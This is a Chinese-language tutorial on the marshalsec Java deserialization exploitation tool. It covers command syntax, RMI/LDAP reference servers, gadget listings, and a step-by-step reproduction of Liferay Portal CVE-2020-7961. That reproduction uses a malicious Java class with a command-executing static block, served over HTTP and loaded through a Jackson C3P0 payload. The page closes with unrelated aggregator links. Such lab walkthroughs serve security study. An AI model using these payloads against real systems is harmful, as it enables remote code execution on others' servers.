java 反序列化利用工具 marshalsec 使用简介
命令格式
marshalsec命令格式如下:
java -cp target/marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec.<Marshaller> [-a] [-v] [-t] [<gadget_type> [<arguments...>]]
参数说明:
- -a:生成exploit下的所有payload(例如:hessian下的SpringPartiallyComparableAdvisorHolder, SpringAbstractBeanFactoryPointcutAdvisor, Rome, XBean, Resin)
- -t:对生成的payloads进行解码测试
- -v:verbose mode, 展示生成的payloads
- gadget_type:指定使用的payload
- arguments - payload运行时使用的参数
- marshalsec.<marshaller>:指定exploits,根目录下的java文件名
开启RMI服务
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://127.0.0.1/css/#ExportObject 1099
开启LDAP服务
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1/css/#ExportObject 1389
查询可用Gadget
java.exe -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Jackson //以Jackson为例
生成特定Payload
java -cp target/marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec.Hessian -v XBean http://127.0.0.1:8080/ExecObject
攻击载荷
目前marshalsec支持的exploit和payload有:
Marshaller | Gadget Impact |
---|---|
BlazeDSAMF(0|3|X) | JDK only escalation to Java serialization various third party libraries RCEs |
Hessian|Burlap | various third party RCEs |
Castor | dependency library RCE |
Jackson | possible JDK only RCE, various third party RCEs |
Java | yet another third party RCE |
JsonIO | JDK only RCE |
JYAML | JDK only RCE |
Kryo | third party RCEs |
KryoAltStrategy | JDK only RCE |
Red5AMF(0|3) | JDK only RCE |
SnakeYAML | JDK only RCEs |
XStream | JDK only RCEs |
YAMLBeans | third party RCE |
列出所有jackson的gadgets 传参为calc
D:\jdk_1.8\bin\java.exe -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Jackson -a exploit.exec="calc"
如果想查找组件可以生成的gadgets有哪些
以Jackson为例
D:\jdk_1.8\bin\java.exe -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Jackson
如果想查找gadgets可以用于哪些组件生成
方法1、以resin为例,可以查看手册
方法2、选择想看的gadgets->find usages
使用实例:
Liferay Portal CE 反序列化命令执行漏洞(CVE-2020-7961)
完整复现过程:https://vulhub.org/#/environments/liferay-portal/CVE-2020-7961/
marshalsec的使用如下:
首先准备一个恶意的Java类,编译:
// javac LifExp.java
public class LifExp {static {try {String[] cmd = {"bash", "-c", "touch /tmp/success"};java.lang.Runtime.getRuntime().exec(cmd).waitFor();} catch ( Exception e ) {e.printStackTrace();}}
}
在保存着class文件的目录下运行一个HTTP文件服务:
$ ls
LifExp.class LifExp.java$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
因为目标Java版本较高,我们使用利用链是com.mchange.v2.c3p0.WrapperConnectionPoolDataSource,借助marshalsec来生成一个适用于Jackson的POC:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Jackson C3P0WrapperConnPool http://127.0.0.1/ LifExp
其中,http://127.0.0.1/
是刚才启动的保存了恶意class文件的Web服务,LifExp是恶意类名。
这里需要注意 是2个参数
第一个参数 http://127.0.0.1/ 是python启动的http服务器
第二个参数 LifExp 是先前编译的文件的名称除去后缀class的部分 也是java类名
就此一看很难想象最后怎么通过http能访问到文件 LifExp.class 测试后发现
可能此命令生成的字节码中 最后访问的url会被组合为 http://127.0.0.1/LifExp.class
从而成功访问到 LifExp.class 文件
java 反序列化利用工具 marshalsec 使用简介相关推荐
- java反序列化终极工具_检测java反序列化漏洞
java反序列化终极测试工具是一款检测java反序列化漏洞工具,直接将Jboss.Websphere和weblogic的反序列化漏洞的利用集成到了一起.java反序列化漏洞已经被曝出一段时间了,其强大 ...
- php5.5 反序列化利用工具_记一次Spring Devtools反序列化利用
0x01 背景 最近接触到一道与Java反序列化利用相关的CTF题目,由于之间接触Java反序列化比较少,并且这道题的反序列化利用中涉及到几个比较有意思的地方,例如URLConnection对访问协议 ...
- php5.5 反序列化利用工具_Yii框架反序列化RCE利用链2
Yii框架反序列化RCE利用链2(官方无补丁) Author:AdminTony 1.寻找反序列化点 全局搜索__wakeup函数,如下: 找到\symfony\string\UnicodeStrin ...
- php5.5 反序列化利用工具_%00截断配合反序列化的奇妙利用
文章来源:安全客 原文链接:%00截断配合反序列化的奇妙利用 - 安全客,安全资讯平台 前言 前段时间做了一个CTF题目,发现这道题目相当的精妙,主要是利用了%00的截断来绕过安全校验,最终利用反序列 ...
- php5.5 反序列化利用工具_利用Python反序列化运行加载器实现免杀
前言 前几天在看Python的shellcode加载器,在网上找了一个,结果加载器自身就过不了火绒,测试发现是火绒对关键语句进行了识别. 所以我们要想办法去掉加载器中明显的特征. 原理及实现 在绕过静 ...
- JAVA Bean 转换工具 BULL 使用简介
How to Transform Any Type of Java Bean With BULL 在跨团队或者跨系统的开发调用时,经常遇到 两个系统Java 代码命名不一致的情况,简单直接的办法就是写 ...
- ysoserial java 反序列化 Groovy1
ysoserial简介 ysoserial是一款在Github开源的知名java 反序列化利用工具,里面集合了各种java反序列化payload: 由于其中部分payload使用到的低版本JDK中的类 ...
- 告别脚本小子系列丨JAVA安全(6)——反序列化利用链(上)
0x01 前言 我们通常把反序列化漏洞和反序列化利用链分开来看,有反序列化漏洞不一定有反序列化利用链(经常用shiro反序列化工具的人一定遇到过一种场景就是找到了key,但是找不到gadget,这也就 ...
- java 反序列化工具 marshalsec改造 加入dubbo-hessian2 exploit
0x00 前言 1. 描述 官方github描述: Java Unmarshaller Security - Turning your data into code execution "将 ...
最新文章
- 【深度学习】重大里程碑!VOLO屠榜CV任务,无需额外数据,首个超越87%的模型...
- form表单reset报 reset is not a function
- c语言输入身高计算标准体重_女生标准身高体重对照表
- nginx: [emerg] bind() to 0.0.0.0:66 failed (98: Address already in use)
- 计算机中键盘可以共享吗,两个电脑怎么共用一个键盘
- ContactsProvider系统源码导入配置AndroidStudio编译环境
- visio2003字号与word中的字号对应关系
- LeetCode 285. 二叉搜索树中的中序后继
- php 微信公共平台开发
- nmap下载安装介绍使用
- linux 命令:less详解
- woocommerce-paypal-payments/modules/ppcp-button/src/Assets/SmartButton.php如何解决AVADA主题
- 高通 安卓 Uefi 的理解
- Maya---物体跟随曲线动画
- Burp Suite工具详解
- 设计模式(一)——六大原则
- 迪米特法则模式:迪米特法的则通俗理解
- 华硕B250M+I5-7500黑苹果EFI引导文件
- 远程缝制葡萄皮,成本仅1万元,华为200万年薪博士杰作
- java基于安卓Android/微信小程序的高校校园跑腿系统 uniapp
热门文章
- 捕捉SQL2005的Bug!
- 制备pdms膜的方法_“轻若鸿毛”的新型高弹性石墨烯-PDMS传感器
- SCons — 程序构建工具
- EdgeGallery — MEP — 系统架构
- 计算机组成原理 — PCIe 总线
- QEMU — VirtIO 虚拟化
- Cinder AZ 与 Nova AZ 的同步问题
- Python基本语法_运算符详解
- 算法:五分钟了解一致性hash算法
- vsftpd类似wu-ftpd分类(Class)的配置-给不同网段的人以不同的上传权限-对虚拟用户进行访问IP限制...